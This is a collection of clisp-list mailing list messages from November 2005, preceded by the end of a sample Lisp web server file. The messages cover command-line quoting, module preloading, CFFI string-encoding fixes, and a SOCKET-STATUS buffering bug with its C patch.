	 (s2 (and s1 (position #\Space line :start (1+ s1))))
	 (op (if (and s1 (string= "GET" (subseq line 0 s1))) 'get 'bad))
	 (url (and s1 (string-trim " " (subseq line (1+ s1) s2))))
	 (version (and s2 (string-trim " " (subseq line (1+ s2))))))
    (values op url (cond ((null version) 0.0)
			      ((string= version "HTTP/1.1") 1.1)
			      ((string= version "HTTP/1.0") 1.0)
			      (t -1.0)))))

(defun parse-http-header-line (line)
  line)

(defun parse-http-body (stream headers)
  (ignore-http-body stream))

(defun ignore-http-body (stream)
  "Discard input up to EOF."
  #+| don't even read it |(do () ((null (read-char stream nil)))))

(defun run (&optional (port 80))
  "Facilitate patch-browse-debug cycle."
  (gc)
  (load "sample-web-server.lisp")
  (format t "~&Web Server listening at http://localhost:~D~&" port)
  (web-server port)
  (print "Web Server done.")
  (values))

(princ "  To run the sample web server, enter (RUN)")

;;; end sample-web-server.lisp


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On 2 Nov 2005, at 16:03, Sam Steingold wrote:

>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> 
>> [2005-11-02 10:21:22 +0100]:
>>
>> Oh, I see!!!
>>
>> So, what I have should done from the beginning is
>>
>> $ echo "(print (+ 11 99))"|clisp -
>> STACK depth: 16367
>
> why did you configure clisp with the --with-debug option?

I didn't. I just installed it with its default configuration from a 
remote repository at:

http://fink.sourceforge.net/index.php

should I configure it otherwise?

>> instead of just
>>
>> $echo "(+ 11 99)"|clisp -
>>
>>
>> In conclusion, I think the former is the best way for an on-line
>> interpreter.
>
> while clisp starts quite fast, this is still suboptimal.
> it's better to run a single clisp session and talk to it via a pipe.

do you mean using it as a shell?

>> BTW, have you got at hand an on-line document where I may find a list
>> of all clisp built-in functions?
>
> I am not sure what you are talking about.
> clisp implements ~1000 symbols mentioned in the ANSI CL spec
> plus many extensions.
> clisp manual is called "implementation notes" and is available at
> <http://clisp.cons.org/impnotes/> in the html format.
> (a single-file HTML is at http://clisp.cons.org/impnotes.html

Thanks a lot! Besides that good single-page manual, I meant a list 
where I may look up "print" functions and alike ones.


> I also offer a 405-page PDF for sale, together with commercial support 
> &c).

Thanks, I'll have it in mind!

Best,

Juan

> First part parallels the ANSI spec and explains what choices clisp 
> makes
> when ANSI left something to the implementation.
> Other parts document clisp extensions to the standard.
>
>
>> Thank you very much, I really appreciate your time and kind replies.
> welcome.
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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2005-11-02 12:41:39 +0100]:
>
>> >> is kivcparser.o actually generated?
>> >
>> > yes, it is
>>
>> use "nm" to find out whether the missing function is actually there
>
> well, nm says in kivcparser.o:
>                U _kivcparser_c_parser

"U" means "undefined", right?

> and in lisp.exe:
> 00410b29 T _kivcparser_c_parser

ok, here it is.

> as the errormessage of lisp.exe said, kivcparser_c_parser is not
> defined in lisp.exe

no, the error message says that kivcparser_c_parser was not registered
as a foreign function.

your error is:

TO_PRELOAD='../../../kivcparserdir-2.33.2/kivcparser.fas'

TO_PRELOAD should only define packages.
your FFI functions go into TO_LOAD.

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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-02 16:40:13 +0100]:
>
> On 2 Nov 2005, at 16:03, Sam Steingold wrote:
>
>>> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr>
>>> [2005-11-02 10:21:22 +0100]:
>>>
>>> Oh, I see!!!
>>>
>>> So, what I have should done from the beginning is
>>>
>>> $ echo "(print (+ 11 99))"|clisp -
>>> STACK depth: 16367
>>
>> why did you configure clisp with the --with-debug option?
>
> I didn't. I just installed it with its default configuration from a
> remote repository at:
>
> http://fink.sourceforge.net/index.php

report it to them as a bug.

> should I configure it otherwise?

up to you.
read unix/INSTALL first.

>>> instead of just
>>>
>>> $echo "(+ 11 99)"|clisp -
>>>
>>>
>>> In conclusion, I think the former is the best way for an on-line
>>> interpreter.
>>
>> while clisp starts quite fast, this is still suboptimal.
>> it's better to run a single clisp session and talk to it via a pipe.
>
> do you mean using it as a shell?

yes.

> I meant a list where I may look up "print" functions and alike ones.

(dolist (p (list-all-packages))
  (do-external-symbols (s p)
    (print s)))

(you probably want "clisp -K full").


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Hi!

Excuse me bad english.

I'm interested clisp with interface to different databases.
I wrote simple ffi interface to sqlite and now write interface to ODBC
(I spying in odbc.zip from Andreas Thiele)

But... May be it is senseless work? May be better adapt CLSQL to CLISP?
(unified interface has pluss and minuses)

If to adapt CLSQL, as it is better: to use uffi.lisp from Pascal
Bourguignon or Mini-UFFI from Joerg Hoehle? (both not work with
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Yaroslav Kavenchuk writes:
> Hi!
> 
> Excuse me bad english.
> 
> I'm interested clisp with interface to different databases.
> I wrote simple ffi interface to sqlite and now write interface to ODBC
> (I spying in odbc.zip from Andreas Thiele)
> 
> But... May be it is senseless work? May be better adapt CLSQL to CLISP?
> (unified interface has pluss and minuses)
> 
> If to adapt CLSQL, as it is better: to use uffi.lisp from Pascal
> Bourguignon or Mini-UFFI from Joerg Hoehle? (both not work with
> clsql-3.3.3 / win2k "inbox")

There's a new unified FFI: CFFI, for which there's also a UFFI
compatibility layer.  It would be better to use that.
http://www.cliki.net/CFFI


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Pascal Bourguignon wrote:

> There's a new unified FFI: CFFI, for which there's also a UFFI
> compatibility layer.  It would be better to use that.
> http://www.cliki.net/CFFI
> 

Thanks!

But clsql does not work with cffi too...

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> Pascal Bourguignon wrote:
> 
> 
>>There's a new unified FFI: CFFI, for which there's also a UFFI
>>compatibility layer.  It would be better to use that.
>>http://www.cliki.net/CFFI
>>
> 
> 
> Thanks!
> 
> But clsql does not work with cffi too...
> 

Wow! Some hooks - and all works!!!!!

Many thanks!

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Hi

I was trying to write a script that takes a pathname
as a parameter of a command line. No matter how I
tried to treat is as a single entity, the pathname
gets broken into separate atoms because there are
blanks in it.
How can I pass the long filename as a unit?

(I use clisp 2.35 on windows).

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Guten Tag!

(this message was also posted to Clorb author)

I use Clorb in my dictionary server, and on my iMac (MacOS X 10.3.9) 
Clorb versions 0.4-0.6 work with OpenMCL, SBCL and Clisp 2.33.2. 
However, they do not work with Clisp 2.35.
It seems to me the problem is with EXT:SOCKET-STATUS and friends 
like EXT:READ-BYTE-WILL-HANG-P or EXT:READ-BYTE-LOOKAHEAD.

Synopsis:

1. with the Clorb code unchanged at all,  call 
(hello-client :file "/tmp/hello.ior") never finishes.
First portion of server answer is read, GET-RESPONSE-0 is called, 
GET-RESPONSE-REPLY is installed as connection read callback, 
but it gets never called, instead EXT:SOCKET-STATUS returns NIL 
at 60 sec. intervals.

2. with the following kludge in ORB-WORK (see #+clisp line)

(defun orb-work (orb run-queue poll)
 (when run-queue
   (orb-run-queue orb))
 (let ((event-processed nil))
   (loop for event = (io-get-event)
         while event
         do (setq event-processed t)
         (let* ((desc (second event))
                (conn (io-descriptor-connection desc)))
           (mess 1 "io-event: ~S ~A ~A" (car event) 
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              (when conn (connection-read-ready conn))
          #+clisp(unless (ext:read-byte-will-hang-p 
                                   (io-descriptor-stream desc))
           (io-poll-desc desc :input)))
             (:write-ready
            ;; the rest of orb-work    

GET-RESPONSE-REPLY is called and server answer is correctly 
parsed, but the top-level call still doesn't return, as it blocks
in EXT:READ-BYTE-WILL-HANG-P

3. with the following awful kludge (see "hrap" lines)

(defun orb-work (orb run-queue poll)
 (when run-queue
   (orb-run-queue orb))
 (let ((event-processed nil)
   (hrap t) ;hrap
   )
   (loop for event = (io-get-event)
         while event
         do (setq event-processed t)
         (let* ((desc (second event))
                (conn (io-descriptor-connection desc)))
           (mess 1 "io-event: ~S ~A ~A" (car event)
              (io-descriptor-stream desc) conn)
           (case (car event)
             (:read-ready
              (when conn (connection-read-ready conn))
          (when hrap (setf hrap nil) 
                (io-poll-desc desc :input)) ;hrap
          )
             (:write-ready
             ;; the rest of orb-work

CORBA call at last succeeds (returns "Hello World from OpenMCL"), 
but of course it won't work when server's anwer arrives 
in multiple pieces.

Additional notes:
1. with CVS version of Clisp I wasn't able to even send request to server. 
2. Clorb + Clisp 2.35 didn't work for me on FreeBSD either, 
if I remember correctly
3. IMHO now it's possible to remove many conditionals from 
Clorb as Clisp support MOP; I'll try to do it after this issue is resolved

Thanks for your help,
Dmitri




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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2005-11-03 07:10:57 -0800]:
>
> I was trying to write a script that takes a pathname
> as a parameter of a command line. No matter how I
> tried to treat is as a single entity, the pathname
> gets broken into separate atoms because there are
> blanks in it.
> How can I pass the long filename as a unit?
>
> (I use clisp 2.35 on windows).

this is a windows, not a clisp problem.
you need to quote the blanks so that the windows shell will not split on
them. use "" and \\. ask a windows guru (in a windows newsgoup)

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Date: Thu Nov  3 07:39:47 2005
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   From: Andrew Stebakov <astebakov@yahoo.com>
   Date: Thu, 3 Nov 2005 07:10:57 -0800 (PST)

   Hi

   I was trying to write a script that takes a pathname
   as a parameter of a command line. No matter how I
   tried to treat is as a single entity, the pathname
   gets broken into separate atoms because there are
   blanks in it.
   How can I pass the long filename as a unit?

   (I use clisp 2.35 on windows).

That's a command line question, not a lisp question.
In a unix style shell you'd use one of

$ script "My File"
$ script 'My File'
$ script My\ File

In MS-DOS style COMMAND.COM you'd use

C:\> script "My File"

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> * Dmitri Hrapof <lninaanqvy@lnubb.pbz> [2005-11-03 14:52:37 +0000]:
>
> I use Clorb in my dictionary server, and on my iMac (MacOS X 10.3.9) 
> Clorb versions 0.4-0.6 work with OpenMCL, SBCL and Clisp 2.33.2. 
> However, they do not work with Clisp 2.35.
> It seems to me the problem is with EXT:SOCKET-STATUS and friends 
> like EXT:READ-BYTE-WILL-HANG-P or EXT:READ-BYTE-LOOKAHEAD.

I do not use clorb, but if you could isolate the problem and produce a
stand-alone test case (preferable working with 2.33.2 but not with the
CVS head), I would look at it.

> 1. with CVS version of Clisp I wasn't able to even send request to
> server.

same here - an isolated test case that does not require me to download
and install clorb would be nice.

> 2. Clorb + Clisp 2.35 didn't work for me on FreeBSD either, if I
> remember correctly

both 2.35 and cvs head work on FreeBSD, so, again, I need a test case.

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Andrew Stebakov wrote:

> Hi
> 
> I was trying to write a script that takes a pathname
> as a parameter of a command line. No matter how I
> tried to treat is as a single entity, the pathname
> gets broken into separate atoms because there are
> blanks in it.
> How can I pass the long filename as a unit?
> 

oops

$ cat prn-args.lisp
(print *args*)
(print (probe-file (car *args*)))

$ clisp prn-args "C:\Documents and
Settings\Kavenchuk_Yaroslav\.clisprc.lisp"

("C:\\Documents and Settings\\Kavenchuk_Yaroslav\\.clisprc.lisp")
#P"C:\\Documents and Settings\\Kavenchuk_Yaroslav\\.clisprc.lisp"

This?

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Sam Steingold <sds <at> gnu.org> writes:

> I do not use clorb, but if you could isolate the problem and produce a
> stand-alone test case (preferable working with 2.33.2 but not with the
> CVS head), I would look at it.

It's a fair request; I have to admit I can't produce such a case yet; 
this one works :-)

(defun bug-server (port)
  (let ((stream (socket-accept (socket-server port) 
:element-type '(unsigned-byte 8)))
	(seq (make-array 53 :element-type '(unsigned-byte 8))))
    (socket-status stream)
    (read-byte-sequence seq stream :start 0 :end 53 :no-hang t)
    (dotimes (i 53) (setf (aref seq i) i))
    (write-sequence seq stream)
    (force-output stream)
    (read)))

(defun bug-client (port)
  (let ((stream (socket-connect port "localhost" 
:element-type '(unsigned-byte 8)))
	(seq (make-array 53 :element-type '(unsigned-byte 8))))
    (write-sequence seq stream)
    (force-output stream)
    (socket-status (list stream) 60)
    (read-byte-sequence seq stream :start 0 :end 12 :no-hang t)
    (format t "~A~%" seq)
    (socket-status (list stream) 60)
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> * Dmitri Hrapof <lninaanqvy@lnubb.pbz> [2005-11-03 17:14:09 +0000]:
>
> Sam Steingold <sds <at> gnu.org> writes:
>
>> I do not use clorb, but if you could isolate the problem and produce a
>> stand-alone test case (preferable working with 2.33.2 but not with the
>> CVS head), I would look at it.
>
> It's a fair request;

thank you.

> I have to admit I can't produce such a case yet;

note that the socket stream performance and behavior can be drastically
affected by the stream buffering.
<http://clisp.cons.org/impnotes/stream-dict.html#buffered>.
note also that socket-status et al are tricky when buffering is involed,
(and a bug there has been fixed in the CVS recently).

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Such "set" almost works, but found problem:

clsql type string-ptr through UFFI compatibility layer from cffi
translate to c-pointer (instead of (c-ptr c-string))

and CUSTOM:*FOREIGN-ENCODING* as does not influence result

And I receive error

How it is possible correct it? (if it is possible...)

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Date: Fri Nov  4 07:24:53 2005
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Yaroslav Kavenchuk writes:
> Such "set" almost works, but found problem:
> 
> clsql type string-ptr through UFFI compatibility layer from cffi
> translate to c-pointer (instead of (c-ptr c-string))
> 
> and CUSTOM:*FOREIGN-ENCODING* as does not influence result
> 
> And I receive error

Indeed, cffi doesn't translate the encodings.

 
> How it is possible correct it? (if it is possible...)

Yes, it's possible to correct it.  (We have the sources! :-)


This happens in cffi-luis-051104-1016/src//strings.lisp, the following
functions are wrong:

(defun lisp-string-to-foreign (string ptr size)
  "Copy at most SIZE-1 characters from a Lisp STRING to PTR.
The foreign string will be null-terminated."
  (decf size)
  (loop with i = 0 for char across string
        while (< i size)
        do (setf (%mem-ref ptr :unsigned-char (post-incf i)) (char-code char))
        finally (setf (%mem-ref ptr :unsigned-char i) 0)))

(defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum)
                               (null-terminated-p t))
  "Copy at most SIZE characters from PTR into a Lisp string.
If PTR is a null pointer, returns nil."
  (unless (null-ptr-p ptr)
    (with-output-to-string (s)
      (loop for i fixnum from 0 below size
            for code = (mem-ref ptr :unsigned-char i)
            until (and null-terminated-p (zerop code))
            do (write-char (code-char code) s)))))



Replace them by (untested):

#-clisp
(defun lisp-string-to-foreign (string ptr size)
  "Copy at most SIZE-1 characters from a Lisp STRING to PTR.
The foreign string will be null-terminated."
  (decf size)
  (loop with i = 0 for char across string
        while (< i size)
        do (setf (%mem-ref ptr :unsigned-char (post-incf i)) (char-code char))
        finally (setf (%mem-ref ptr :unsigned-char i) 0)))

#-clisp
(defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum)
                               (null-terminated-p t))
  "Copy at most SIZE characters from PTR into a Lisp string.
If PTR is a null pointer, returns nil."
  (unless (null-ptr-p ptr)
    (with-output-to-string (s)
      (loop for i fixnum from 0 below size
            for code = (mem-ref ptr :unsigned-char i)
            until (and null-terminated-p (zerop code))
            do (write-char (code-char code) s)))))


#+clisp
(defun lisp-string-to-foreign (string ptr size)
  "Copy at most SIZE-1 characters from a Lisp STRING to PTR.
The foreign string will be null-terminated."
  (decf size)
  (loop
     :with bytes = (ext:convert-string-to-bytes string custom:*foreign-encoding*)
     :with i = 0
     :for byte :across bytes
     :while (< i size)
     :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte)
     :finally (setf (%mem-ref ptr :unsigned-char i) 0)))


#+clisp
(defun clength (ptr size)
  (loop
     :for i :from 0 :below size
     :do (when (zerop (mem-ref ptr :unsigned-char i))
           (return-from clength i))
     :finally (return-from clength size)))

#+clisp
(defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum)
                               (null-terminated-p t))
  "Copy at most SIZE characters from PTR into a Lisp string.
If PTR is a null pointer, returns nil."
  (unless (null-ptr-p ptr)
    (loop
       :with clen = (if null-terminated-p (clength ptr size) size)
       :with bytes = (make-array clen :element-type '(unsigned-byte 8))
       :for i fixnum from 0 below clen
       :do (setf (aref bytes i) (mem-ref ptr :unsigned-char i))
       :finally (ext:convert-string-from-bytes bytes
                                               custom:*foreign-encoding*))))


If this works, report the bug to the author of cffi.  He should move
these functions to the implementation specific files (cffi-clisp.lisp).

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-11-04 16:23:44 +0100]:
>
>
> #+clisp
> (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum)
>                                (null-terminated-p t))
>   "Copy at most SIZE characters from PTR into a Lisp string.
> If PTR is a null pointer, returns nil."
>   (unless (null-ptr-p ptr)
>     (loop
>        :with clen = (if null-terminated-p (clength ptr size) size)
>        :with bytes = (make-array clen :element-type '(unsigned-byte 8))
>        :for i fixnum from 0 below clen
>        :do (setf (aref bytes i) (mem-ref ptr :unsigned-char i))
>        :finally (ext:convert-string-from-bytes bytes
>                                                custom:*foreign-encoding*))))


you mean

    :finally (return (ext:convert-string-from-bytes ...))


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Sam Steingold <sds@gnu.org> writes:

> thanks.  I made m4/test.m4 more strict.
> please try "cvs up" in a couple of hours.

It doesn't work... for some reason, cl_cv_test_nt gets set to yes.

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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-04 20:09:04 +0100]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>> thanks.  I made m4/test.m4 more strict.
>> please try "cvs up" in a couple of hours.
>
> It doesn't work... for some reason, cl_cv_test_nt gets set to yes.

could you please try to figure out why?
I think I made sure that the test in m4/test.m4 is identical to the use
in makemake and that configure uses the same shell as makemake.
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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-11-04 16:23:44 +0100]:
> >
> >
> > #+clisp
> > (defun foreign-string-to-lisp (ptr &optional (size most-positive-fixnum)
> >                                (null-terminated-p t))
> >   "Copy at most SIZE characters from PTR into a Lisp string.
> > If PTR is a null pointer, returns nil."
> >   (unless (null-ptr-p ptr)
> >     (loop
> >        :with clen = (if null-terminated-p (clength ptr size) size)
> >        :with bytes = (make-array clen :element-type '(unsigned-byte 8))
> >        :for i fixnum from 0 below clen
> >        :do (setf (aref bytes i) (mem-ref ptr :unsigned-char i))
> >        :finally (ext:convert-string-from-bytes bytes
> >                                                custom:*foreign-encoding*))))
> 
> 
> you mean
> 
>     :finally (return (ext:convert-string-from-bytes ...))

Yes. (*^_^*)

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>If this works, report the bug to the author of cffi.  He should move
>  
>
> these functions to the implementation specific files (cffi-clisp.lisp).


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> > well, nm says in kivcparser.o:
> >                U _kivcparser_c_parser
>
> "U" means "undefined", right?

yes, that's right

> your error is:
>
> TO_PRELOAD=3D'../../../kivcparserdir-2.33.2/kivcparser.fas'
>
> TO_PRELOAD should only define packages.
> your FFI functions go into TO_LOAD.

hmm, but as you can read from the whole thread i tried before to load
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i should do instead of TO_PRELOAD?


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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2005-11-07 00:31:03 +0100]:
>
>> TO_PRELOAD='../../../kivcparserdir-2.33.2/kivcparser.fas'
>>
>> TO_PRELOAD should only define packages.
>> your FFI functions go into TO_LOAD.
>
> hmm, but as you can read from the whole thread i tried before to load
> kivcparser.fas with TO_LOAD and then with TO_PRELOAD. What do you mean
> i should do instead of TO_PRELOAD?

TO_PRELOAD: 1 line "(MAKE-PACKAGE ...)"
TO_LOAD: everything else.
I think the doc is quite clear on that.
<http://www.podval.org/~sds/clisp/impnotes/modules.html#mod-preload>
see examples linked from there.

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Sam Steingold <sds <at> gnu.org> writes:

> note that the socket stream performance and behavior can be drastically
> affected by the stream buffering.
> <http://clisp.cons.org/impnotes/stream-dict.html#buffered>.
> note also that socket-status et al are tricky when buffering is involed,
> (and a bug there has been fixed in the CVS recently).

Indeed! To quote CLORB's author Lennart Staflin:

"I think the problem is that the socket stream is buffered and socket-status 
doesn't report on what's already in the buffer. CLORB reads a IIOP message 
in two steps, first the header to get the length of the message and then the 
rest. Probably the stream will automatically read everything that is available 
and buffer it for the first read. Then socket-status won't report there is 
anything to read, although EXT:READ-BYTE-LOOKAHEAD will. There is a 
similar problem with CMUCL. I have a workaround for that because I couldn't 
figure out how to turn off buffering. For CLISP it seems simple to turn the 
buffering off when the connection is created. That seems to fix it for me."

IMHO it's not the most obvious semantics for SOCKET-STATUS, is it?

However, now things work.





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Hello!

Is there some kind soul out there, who would send me by mail a
(preferably statically linked) clisp
which will run under (Red Hat) Linux with kernel 2.4.21?

I am not able to compile and link clisp, as I get an undefined
reference; while I filed a bug
report relating to this issue to gnulib, I expect that it might take
quite some time until
this issue is resolved.

Hence, if one has - or can produce - a static clisp, this would help me
in the meantime.....

Kind regards,

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> * Dmitri Hrapof <lninaanqvy@lnubb.pbz> [2005-11-07 05:35:44 +0000]:
>
> Sam Steingold <sds <at> gnu.org> writes:
>
>> note that the socket stream performance and behavior can be drastically
>> affected by the stream buffering.
>> <http://clisp.cons.org/impnotes/stream-dict.html#buffered>.
>> note also that socket-status et al are tricky when buffering is involed,
>> (and a bug there has been fixed in the CVS recently).
>
> Indeed! To quote CLORB's author Lennart Staflin:
>
> "I think the problem is that the socket stream is buffered and
> socket-status doesn't report on what's already in the buffer. CLORB
> reads a IIOP message in two steps, first the header to get the length
> of the message and then the rest. Probably the stream will
> automatically read everything that is available and buffer it for the
> first read. Then socket-status won't report there is anything to read,
> although EXT:READ-BYTE-LOOKAHEAD will. There is a similar problem with
> CMUCL. I have a workaround for that because I couldn't figure out how
> to turn off buffering. For CLISP it seems simple to turn the buffering
> off when the connection is created. That seems to fix it for me."
>
> IMHO it's not the most obvious semantics for SOCKET-STATUS, is it?
>
> However, now things work.

the handling of buffered streams by SOCKET-STATUS has been fixed in the
CVS head.
it would be nice if you could test it.
thanks.


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Date: Mon Nov  7 06:22:19 2005
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Hi,

I am playing around with writing network servers using CLISP, and I  
am now stuck on a thing with SOCKET-STATUS I don't understand. My  
Common LISP chops are definitely rusty, though...

I am trying to write a server that (initially) listens for incoming  
connections on one socket; the server is supposed to be able to  
handle a potentially large number of incoming connections, which will  
persist for some time. I usually write this kind of thing using  
"select" (or some of its relatives), so I thought that SOCKET-STATUS  
should fit nicely.

I am now trying to get the behavior that is described towards the end  
of the SOCKET-STATUS documentation on http://clisp.sourceforge.net/ 
impnotes.html#socket, where it says:

"If you want to avoid consing[3] up a fresh list, you can make the  
elements of socket-stream-or-list to be (socket-stream direction . x)  
or (socket-server . x). Then SOCKET:SOCKET-STATUS will destructively  
modify its argument and replace x or NIL with the status and return  
the modified list. You can pass this modified list to SOCKET:SOCKET- 
STATUS again."

I do something like:

[1]> (setf listener (socket:socket-server 5060))
#<SOCKET-SERVER 0.0.0.0:5060>
[2]> (setf list-of-sockets (list (cons listener nil)))
((#<SOCKET-SERVER 0.0.0.0:5060>))
[3]> (socket:socket-status list-of-sockets)
((#<SOCKET-SERVER 0.0.0.0:5060> . T)) ;
1
[4]> list-of-sockets
((#<SOCKET-SERVER 0.0.0.0:5060> . T))
[5]> (socket:socket-status list-of-sockets)

*** - SOCKET-STATUS: illegal :DIRECTION argument T
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [6]>


After [3] I do a "telnet localhost 5060" from another terminal, which  
correctly makes the SOCKET-STATUS "fire"; however, if I then try to  
reuse the modified list ("list-of-sockets"), CLISP protests. It seems  
CLISP only accepts NIL as the CDR of a (socket-server . x) pair, and  
not e.g. T...

I am running this using CLISP 2.35 on Darwin 8.3.0. *features* from  
"clisp -K full" says  
(:RAWSOCK :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANS 
I-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC- 
STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE- 
CHAR=CHARACTER :UNIX :MACOS)

What am I missing?


Kind Regards,

/johan

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> * Com MN PG P E B Consultant 3 <za-ct-c-r-o-pbafhygnag-3.pbz@fvrzraf.pbz> [2005-11-07 08:54:54 +0100]:
>
> Is there some kind soul out there, who would send me by mail a
> (preferably statically linked) clisp
> which will run under (Red Hat) Linux with kernel 2.4.21?
>
> I am not able to compile and link clisp, as I get an undefined
> reference; while I filed a bug
> report relating to this issue to gnulib, I expect that it might take
> quite some time until
> this issue is resolved.
>
> Hence, if one has - or can produce - a static clisp, this would help me
> in the meantime.....

see http://sourceforge.net/project/showfiles.php?group_id=1355

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On Nov 7, 2005, at 15:21, Johan Liseborn wrote:

> After [3] I do a "telnet localhost 5060" from another terminal,  
> which correctly makes the SOCKET-STATUS "fire"; however, if I then  
> try to reuse the modified list ("list-of-sockets"), CLISP protests.  
> It seems CLISP only accepts NIL as the CDR of a (socket-server . x)  
> pair, and not e.g. T...

Just to clarify, what I *thought* would happen was that the next time  
I "run the list through SOCKET-STATUS", the list would be updated  
according to the input/output status for that "run". In the example  
given in my first mail, I wouldn't expect any difference, as I didn't  
"accept" the connection; if I where to do that, and e.g. add the  
accepted socket to the list (something like "(socket-stream :INPUT .  
NIL)"), I thought that the "T" CDR of the server-socket would go back  
to e.g. "NIL" until another connection attempt where made...


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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-07 15:21:03 +0100]:
>
> [4]> list-of-sockets
> ((#<SOCKET-SERVER 0.0.0.0:5060> . T))
> [5]> (socket:socket-status list-of-sockets)
>
> *** - SOCKET-STATUS: illegal :DIRECTION argument T
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [6]>

looks like a bug...
for now, please try
(setf list-of-sockets (list (list listener :input)))
instead


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Date: Mon Nov  7 06:40:19 2005
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> > Is there some kind soul out there, who would send me by mail a
> > (preferably statically linked) clisp
> > which will run under (Red Hat) Linux with kernel 2.4.21?
> >
> > I am not able to compile and link clisp, as I get an undefined
> > reference; while I filed a bug
> > report relating to this issue to gnulib, I expect that it might take
> > quite some time until
> > this issue is resolved.
> >
> > Hence, if one has - or can produce - a static clisp, this=20
> would help me
> > in the meantime.....
>=20
> see http://sourceforge.net/project/showfiles.php?group_id=3D1355

Of course I know this page, and I have - by wild guess - downloaded
several of the
files which are listed there. Unfortunately, there seems to be nothing
on this
page which indicates, which of these dozens of files provide a
statically linked, pre-built
version of Lisp. For example, I tried the file named

   clisp-2.35-i686-unknown-linux-2.4.19.tar.gz

but when I unpacked it, I saw that there needs to be compilation work to
be done too,
and this failed of course.

So maybe you could tell me which of these files would get me a working
clisp?

Ronald


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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-07 15:21:03 +0100]:
>
> [5]> (socket:socket-status list-of-sockets)
>
> *** - SOCKET-STATUS: illegal :DIRECTION argument T
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [6]>

please try the appended patch.

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--- stream.d	28 Oct 2005 09:01:37 -0400	1.541
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@@ -14190,10 +14190,15 @@
     } else if (consp(Cdr(obj))) { /* (sock dir . place) */
       *dir = check_direction(Car(Cdr(obj)));
       return &Cdr(Cdr(obj));
+    } else { /* (sock . dir) or (server . place) */
+      if (socket_server_p(*sock)) { /* (server . place) */
+        *dir = DIRECTION_INPUT;
+        return &Cdr(obj);
     } else { /* (sock . dir) */
       *dir = check_direction(Cdr(obj));
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+    }
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> * Com MN PG P E B Consultant 3 <za-ct-c-r-o-pbafhygnag-3.pbz@fvrzraf.pbz> [2005-11-07 15:38:11 +0100]:
>
> Unfortunately, there seems to be nothing on this page which indicates,
> which of these dozens of files provide a statically linked, pre-built
> version of Lisp. For example, I tried the file named
>
>    clisp-2.35-i686-unknown-linux-2.4.19.tar.gz
>
> but when I unpacked it, I saw that there needs to be compilation work
> to be done too, and this failed of course.

I don't know what a "statically linked" CLISP is.  Sorry.
I am sure someone else can help you here.


If you give me ssh access to the linux box on which you need your CLISP
to run and if that box has gcc 3 and glibc 2.2+, I can build CLISP for
you on that machine. I charge $100/hour for this service, 1 hour minimum.

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> > * Com MN PG P E B Consultant 3=20
> <za-ct-c-r-o-pbafhygnag-3.pbz@fvrzraf.pbz> [2005-11-07=20
> 15:38:11 +0100]:
> >
> > Unfortunately, there seems to be nothing on this page which=20
> indicates,
> > which of these dozens of files provide a statically linked,=20
> pre-built
> > version of Lisp. For example, I tried the file named
> >
> >    clisp-2.35-i686-unknown-linux-2.4.19.tar.gz
> >
> > but when I unpacked it, I saw that there needs to be=20
> compilation work
> > to be done too, and this failed of course.
>=20
> I don't know what a "statically linked" CLISP is.  Sorry.
> I am sure someone else can help you here.

This is easy to explain:

You can link the libraries dynamically (shared libraries - those where
the names typically
end in .so), which gives you a small executable, but makes you dependent
on the existence of=20
other libraries and is the normal way to go, and you can it link
statically (libraries whose
names usually end in .a), which means that you have one big, if not to
say: huge, executable,
which probably takes ages to load, but which is not dependent on other
libraries anymore.

In my case, if I link dynamically, I get an unresolved external
reference. Other people on this
list have pointed out to me, that this might be related to libgnu, so I
have posted it on the
libgnu list and, since nobody there was able to pinpoint the error on
that list, I filed a bug=20
report on the matter.

So in the meantime, it would help if one could send me a pre-linked
binary, with as few dependencies
to the outside as possible...

> If you give me ssh access to the linux box on which you need=20
> your CLISP
> to run=20

I would if I could, but this is neither permitted not possible
(firewall).

> and if that box has gcc 3 and glibc 2.2+,=20

gcc3 is here, but how can I find out the version of the installed glibc?

> I can build CLISP for
> you on that machine. I charge $100/hour for this service, 1=20
> hour minimum.

I don't object building it on my own, and installing the necessary
libraries before I do, but all
attempts so far failed.

Ronald


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   From: Sam Steingold <sds@gnu.org>
   Date: Mon, 07 Nov 2005 09:58:34 -0500

   I don't know what a "statically linked" CLISP is.

A statically linked executable in GCC terminology
is a self contained binary that does not require
dynamically linked shared binaries to run, e.g.,
Un*x /usr/lib/lib*.so files,
MS-Win *.DLL files, etc.
would not be needed by a static binary.

		Peace
			--Devon

PS: Gnu GCC documentation on the -static linker option:
gcc.info > Invoking GCC > Link Options
...
`-static'
     On systems that support dynamic linking, this prevents linking
     with the shared libraries.  On other systems, this option has no
     effect.
...


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On Nov 7, 2005, at 15:39, Sam Steingold wrote:

>> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-07 15:21:03 +0100]:
>>
>> [5]> (socket:socket-status list-of-sockets)
>>
>> *** - SOCKET-STATUS: illegal :DIRECTION argument T
>> The following restarts are available:
>> ABORT          :R1      ABORT
>> Break 1 [6]>
>
> please try the appended patch.

Works like a charm! (The "temporary" solution you provided also  
worked well, by the way.)

Thanks a lot for the quick response and solution!


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Com MN PG P E B Consultant 3 schrieb:
> which means that you have one big, if not to
